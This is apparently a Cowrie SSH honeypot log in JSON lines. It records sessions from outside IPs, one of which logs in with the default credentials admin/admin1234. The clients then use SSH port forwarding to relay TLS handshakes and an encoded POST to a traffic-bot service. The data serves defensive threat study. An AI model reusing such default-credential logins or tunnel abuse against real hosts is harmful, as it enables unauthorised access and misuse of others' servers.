{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:40.726015Z","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:41.203747Z","src_ip":"123.27.168.40","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03f\\x9e\\x16\\xa0\\xb51v\\xf5|\"\\xcc\\x12\\x84x0\\xbb\\xd9\\xb43P2%\\x89\\xban\\x0b\\xc9KOI\\x97\\xf2 %\\x9c\\x9c\\x1fc\\n\\xf0\\x9eG#\\xc0\\x9e\\x03\\x80sD\\x95\\x9b\\xcc\\xeb\\x92]\\x96\\xde\\xdd.\\xa8`x\\xdb\\x99\\xd0\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xec~\\x0e\\xd0\\xbe\\xa2\\x9d\\xbcmz8(\\x8e\\xc0\\xf1\\t-,sl\\xf2k\\x16\\xdb+P\\x13\\xc2\\x8d\\xdd\\xd7%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03f\\x9e\\x16\\xa0\\xb51v\\xf5|\"\\xcc\\x12\\x84x0\\xbb\\xd9\\xb43P2%\\x89\\xban\\x0b\\xc9KOI\\x97\\xf2 %\\x9c\\x9c\\x1fc\\n\\xf0\\x9eG#\\xc0\\x9e\\x03\\x80sD\\x95\\x9b\\xcc\\xeb\\x92]\\x96\\xde\\xdd.\\xa8`x\\xdb\\x99\\xd0\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xec~\\x0e\\xd0\\xbe\\xa2\\x9d\\xbcmz8(\\x8e\\xc0\\xf1\\t-,sl\\xf2k\\x16\\xdb+P\\x13\\xc2\\x8d\\xdd\\xd7%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:41.208634Z","src_ip":"123.27.168.40","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:41.468061Z","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:41.724896Z","src_ip":"123.27.168.40","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03jCctUP\\x99\\xb2\\xe5\\x1b\\xc6\\x0cPS$\\x0cRJ$\\x87\\xf8\\x85\\xe9\\n\\xdd\\xb01\\xd4\\xdb<<q \\x82\\x1a\\xf2\\xd3\\xeb\\x89,\\x17\\xe0R\\'\\x1e\\xe7[v\\xc7`~\\x89\\x03\\xd7P\\xe8\"\\xb2\\xff\\xda8\\xc9\\x869\\x96\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf9\\x7fE\\xd7 \\xd5\\x94-%\\'Q,\\xf1\\x92\\xb9\\xf0\\xc3l\\xddl$i\\xf5\\xef\\xfb\\xdf\\x01G\\x84\\xe8\\xe1\\x18\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03jCctUP\\x99\\xb2\\xe5\\x1b\\xc6\\x0cPS$\\x0cRJ$\\x87\\xf8\\x85\\xe9\\n\\xdd\\xb01\\xd4\\xdb<<q \\x82\\x1a\\xf2\\xd3\\xeb\\x89,\\x17\\xe0R\\'\\x1e\\xe7[v\\xc7`~\\x89\\x03\\xd7P\\xe8\"\\xb2\\xff\\xda8\\xc9\\x869\\x96\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf9\\x7fE\\xd7 \\xd5\\x94-%\\'Q,\\xf1\\x92\\xb9\\xf0\\xc3l\\xddl$i\\xf5\\xef\\xfb\\xdf\\x01G\\x84\\xe8\\xe1\\x18\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:41.728534Z","src_ip":"123.27.168.40","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:54:42.099292Z","src_ip":"123.27.168.40","session":"da86a2e7874e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":51259,"dst_ip":"10.17.0.5","dst_port":22,"session":"2686f2a7c66f","protocol":"ssh","message":"New connection: 23.175.50.51:51259 (10.17.0.5:22) [session: 2686f2a7c66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:01.274529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:01.279074Z","src_ip":"23.175.50.51","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:01.575407Z","src_ip":"23.175.50.51","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:04.252344Z","src_ip":"23.175.50.51","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:16.209516Z","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:16.409269Z","src_ip":"23.175.50.51","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KWg4Q1dmPiY8bE4%2FUTFaQA%3D%3DKRvZSIkyqe6oMSEUuJC%2F3%2B9xgW2cu5Q9e48O5FpXaRMvBLM3oaaB66LAQf3q5ZovXMusMsZUG7GrB8QrYkX7BZuWR8RJ5WZUNrZfwtvJtusf6MEsqCmNvrnDAOVC4Lzsyl6pQG3JnUF7JQ73NsCYsX%2FseWU2Fm1TU%2BCNpyiqftmYp5tH%2Bjwg4dSPifsP7FRyTDRGohWurpD74ddon9DWrX5XFVO2X1ru%2BplObxdu5YqOiWkHQbIE4Z3BYqwZL%2FkAs706cWsoBwt0ZQNibmTzhsCVEFLJslREGvCkprtRAb%2FC7YthsDDXjJ%2FrSwX%2F3j28MHOlYFsmlmXXPHGUwNa147CoDmYXGFKuVYjt9G9LuZWFn4FEaON8WWg0XCA8XtjLts55miKMd9Y93Kb9c1V72q%2Bt96Wo8txlnGHHqiXi20oNDMZH%2FPMF24d1Rjb1Fx4aUdFFR8Cvhn9VtyRz6t66No0G3hv%2FvjSdlHTM%2Fob7jwb6DTZy58Wwj%2FjCl8oxcwXtPTz2e65FL1cQb3YbwtiTQsMXN%2FXe0qZe5G4g4aAQPGbQGHgZ8eB1PkBx3DT2gikUC1eVBbsHB9Ex8MTneoAf9V2TxfE5MXfJWuZF9BVCL8jT1At5wZXea7KJhR%2BWyngYtdc9fOwMyrPzi4JRtfY9Jyk7K6RAUi%2Fd2Zx2Y9kf2SFuwxQD%2BrwCuttEJVMAo3YCyUTwymBtRQwkNTU64nfpxWOwodNxXKKeekKISHxhURfo78pVoxHT2kfBI1jCVXMwKUQezj3vtWE0FvyEhLmzqkNkNp7VO1%2FzPVyE%2Fi71Jg6eGRrwjdeIXHS8yHGe0jQKtz1ymSZKlZ6x2ogeKbAQjY6oEi3IwDqDNhwGGe6Bjiw3lVQEEwjGMypkX0qs0fYgeQfzHG92yOv7OIyA44IDRGhDm8h4Yf9D2lDsUbmSpm3FvIw%2F1pTsJW2MjbEpDruomXQwQxo%2FlfcRcZi6IKnSdLvJHQXB3adEivSm2xwKl%2FDgONGxETWJ%2FrYBmOD3M1pvVIlb9Yt9W%2FheDzHFINu9DWLsq6GLtK4IRL6HaWZlvQ4%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KWg4Q1dmPiY8bE4%2FUTFaQA%3D%3DKRvZSIkyqe6oMSEUuJC%2F3%2B9xgW2cu5Q9e48O5FpXaRMvBLM3oaaB66LAQf3q5ZovXMusMsZUG7GrB8QrYkX7BZuWR8RJ5WZUNrZfwtvJtusf6MEsqCmNvrnDAOVC4Lzsyl6pQG3JnUF7JQ73NsCYsX%2FseWU2Fm1TU%2BCNpyiqftmYp5tH%2Bjwg4dSPifsP7FRyTDRGohWurpD74ddon9DWrX5XFVO2X1ru%2BplObxdu5YqOiWkHQbIE4Z3BYqwZL%2FkAs706cWsoBwt0ZQNibmTzhsCVEFLJslREGvCkprtRAb%2FC7YthsDDXjJ%2FrSwX%2F3j28MHOlYFsmlmXXPHGUwNa147CoDmYXGFKuVYjt9G9LuZWFn4FEaON8WWg0XCA8XtjLts55miKMd9Y93Kb9c1V72q%2Bt96Wo8txlnGHHqiXi20oNDMZH%2FPMF24d1Rjb1Fx4aUdFFR8Cvhn9VtyRz6t66No0G3hv%2FvjSdlHTM%2Fob7jwb6DTZy58Wwj%2FjCl8oxcwXtPTz2e65FL1cQb3YbwtiTQsMXN%2FXe0qZe5G4g4aAQPGbQGHgZ8eB1PkBx3DT2gikUC1eVBbsHB9Ex8MTneoAf9V2TxfE5MXfJWuZF9BVCL8jT1At5wZXea7KJhR%2BWyngYtdc9fOwMyrPzi4JRtfY9Jyk7K6RAUi%2Fd2Zx2Y9kf2SFuwxQD%2BrwCuttEJVMAo3YCyUTwymBtRQwkNTU64nfpxWOwodNxXKKeekKISHxhURfo78pVoxHT2kfBI1jCVXMwKUQezj3vtWE0FvyEhLmzqkNkNp7VO1%2FzPVyE%2Fi71Jg6eGRrwjdeIXHS8yHGe0jQKtz1ymSZKlZ6x2ogeKbAQjY6oEi3IwDqDNhwGGe6Bjiw3lVQEEwjGMypkX0qs0fYgeQfzHG92yOv7OIyA44IDRGhDm8h4Yf9D2lDsUbmSpm3FvIw%2F1pTsJW2MjbEpDruomXQwQxo%2FlfcRcZi6IKnSdLvJHQXB3adEivSm2xwKl%2FDgONGxETWJ%2FrYBmOD3M1pvVIlb9Yt9W%2FheDzHFINu9DWLsq6GLtK4IRL6HaWZlvQ4%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:16.412562Z","src_ip":"23.175.50.51","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:18.666548Z","session":"2686f2a7c66f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:55:18.728989Z","src_ip":"23.175.50.51","session":"2686f2a7c66f","protocol":"ssh"}
